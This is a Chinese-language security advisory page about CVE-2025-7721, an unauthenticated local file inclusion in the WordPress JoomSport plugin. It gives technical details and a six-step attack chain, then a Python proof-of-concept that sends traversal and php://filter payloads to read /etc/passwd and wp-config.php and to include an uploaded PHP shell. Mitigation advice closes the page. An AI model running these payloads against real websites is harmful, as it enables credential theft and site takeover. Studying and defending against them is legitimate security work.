IPBUF安全漏洞报告
English
CVE-2025-7721 CVSS 9.8 严重

CVE-2025-7721 WordPress JoomSport插件本地文件包含漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-7721
漏洞类型
本地文件包含(LFI)/ 远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress JoomSport – for Sports: Team & League, Football, Hockey & more 插件

相关标签

CVE-2025-7721本地文件包含LFI远程代码执行RCEWordPressJoomSport插件漏洞目录遍历未认证漏洞

漏洞概述

CVE-2025-7721是WordPress JoomSport插件(用于体育团队与联赛管理,包括足球、冰球等多种体育项目)中的一个严重本地文件包含(Local File Inclusion, LFI)漏洞。该漏洞存在于所有5.7.3及以下版本中,由WordFence安全团队发现并于2025年10月3日公开披露。

该漏洞位于插件的 `class-jsport-controller.php` 文件第74行附近,通过 `task` 参数未经过充分过滤和验证,导致未经身份验证的攻击者可以利用该参数包含并执行服务器上的任意PHP文件。由于该漏洞无需任何身份验证(PR:N),无需用户交互(UI:N),且可通过网络远程利用(AV:N),攻击复杂度低(AC:L),因此CVSS评分高达9.8分,属于严重级别漏洞。

成功利用此漏洞的攻击者可以绕过访问控制、获取敏感数据,甚至在能够上传PHP文件的场景下实现完整的远程代码执行(RCE)。这意味着攻击者可以完全控制受影响的WordPress网站,包括窃取数据库内容、植入后门、进行横向移动或利用被攻陷的服务器进行进一步攻击。对于运行该插件的体育网站、俱乐部网站或联赛管理平台而言,该漏洞构成了极高的安全威胁。

技术细节

该漏洞的根本原因在于JoomSport插件的控制器类(`class-jsport-controller.php`)中对 `task` 参数的处理缺乏适当的安全验证。具体而言,在第74行附近的代码逻辑中,`task` 参数被直接用于文件包含操作,而没有对用户输入进行充分的过滤、白名单校验或路径规范化处理。

攻击者可以通过构造包含目录遍历序列(如 `../../`)的恶意 `task` 参数值,将正常的文件包含路径重定向到服务器上的任意文件位置。当目标文件为 `.php` 类型时,PHP解释器将自动执行该文件中的代码,从而实现远程代码执行。

利用条件与方式:
1. 目标网站安装并启用了JoomSport插件,版本 ≤ 5.7.3;
2. 攻击者无需任何身份验证即可发送恶意请求;
3. 通过在HTTP请求中传递精心构造的 `task` 参数(如 `task=../../../../path/to/malicious.php` 或 `task=php://filter/...` 等PHP流封装器),即可触发文件包含;
4. 若攻击者能够通过其他途径(如允许文件上传的功能)在服务器上放置PHP文件,则可实现完整的远程代码执行。

该漏洞的攻击向量为网络型(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H),因此CVSS 3.1基础评分达到满分级别的9.8分。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎(如Shodan、Censys)或WordPress指纹识别工具,扫描互联网上安装有JoomSport插件(版本≤5.7.3)的WordPress网站。
STEP 2
步骤2:漏洞探测
攻击者向目标网站的JoomSport控制器端点(class-jsport-controller.php)发送包含恶意task参数的HTTP请求,验证目标是否存在本地文件包含漏洞。
STEP 3
步骤3:文件读取/敏感信息窃取
利用目录遍历(../../)或PHP流封装器(php://filter)读取服务器敏感文件,如wp-config.php(包含数据库凭证)、/etc/passwd等。
STEP 4
步骤4:上传恶意PHP文件
通过WordPress允许的文件上传功能(如媒体上传、头像上传或其他插件提供的上传功能)将包含恶意代码的PHP文件上传至服务器。
STEP 5
步骤5:远程代码执行
利用LFI漏洞通过task参数包含已上传的PHP文件,触发恶意代码执行,获得服务器控制权限。
STEP 6
步骤6:权限提升与持久化
攻击者在服务器上创建管理员账户、植入Web Shell后门、修改数据库内容,实现对网站的长期控制,并可能进行横向移动攻击内网其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-7721 - JoomSport LFI PoC # Vulnerability: Local File Inclusion via 'task' parameter # Affected: JoomSport plugin <= 5.7.3 import requests # Target WordPress site with JoomSport plugin installed target_url = "http://target-wordpress-site.com" # The vulnerable endpoint is in the sportleague/base/wordpress/classes/class-jsport-controller.php # The 'task' parameter is used for file inclusion without proper validation # Exploit 1: Local File Inclusion using directory traversal payload_traversal = "../../../../../../../etc/passwd" lfi_url_traversal = f"{target_url}/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-controller.php?task={payload_traversal}" # Exploit 2: PHP filter to read source code (base64 encoded) payload_filter = "php://filter/convert.base64-encode/resource=../../../../wp-config.php" lfi_url_filter = f"{target_url}/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-controller.php?task={payload_filter}" # Exploit 3: Include a previously uploaded PHP shell (if file upload is available) payload_rce = "../../../../uploads/malicious_shell.php" lfi_url_rce = f"{target_url}/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-controller.php?task={payload_rce}" def exploit_lfi(url, description): """Send the LFI exploit request""" print(f"[*] Attempting: {description}") print(f"[*] URL: {url}") try: response = requests.get(url, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") print(f"[*] Response Preview: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None # Execute exploits print("=" * 60) print("CVE-2025-7721 - JoomSport LFI Exploit") print("=" * 60) exploit_lfi(lfi_url_traversal, "Directory Traversal LFI") print() exploit_lfi(lfi_url_filter, "PHP Filter LFI (Base64)") print() exploit_lfi(lfi_url_rce, "RCE via uploaded PHP shell")

影响范围

JoomSport – for Sports: Team & League, Football, Hockey & more <= 5.7.3

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过WordFence或其他WAF规则阻断包含目录遍历序列(../)或PHP流封装器(php://)的恶意请求;2)在Web服务器层面(Nginx/Apache)配置规则,拒绝访问class-jsport-controller.php等敏感端点的可疑参数;3)临时禁用JoomSport插件直至完成升级;4)限制PHP的open_basedir配置,限制文件包含路径范围;5)监控网站访问日志,重点关注包含task参数的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表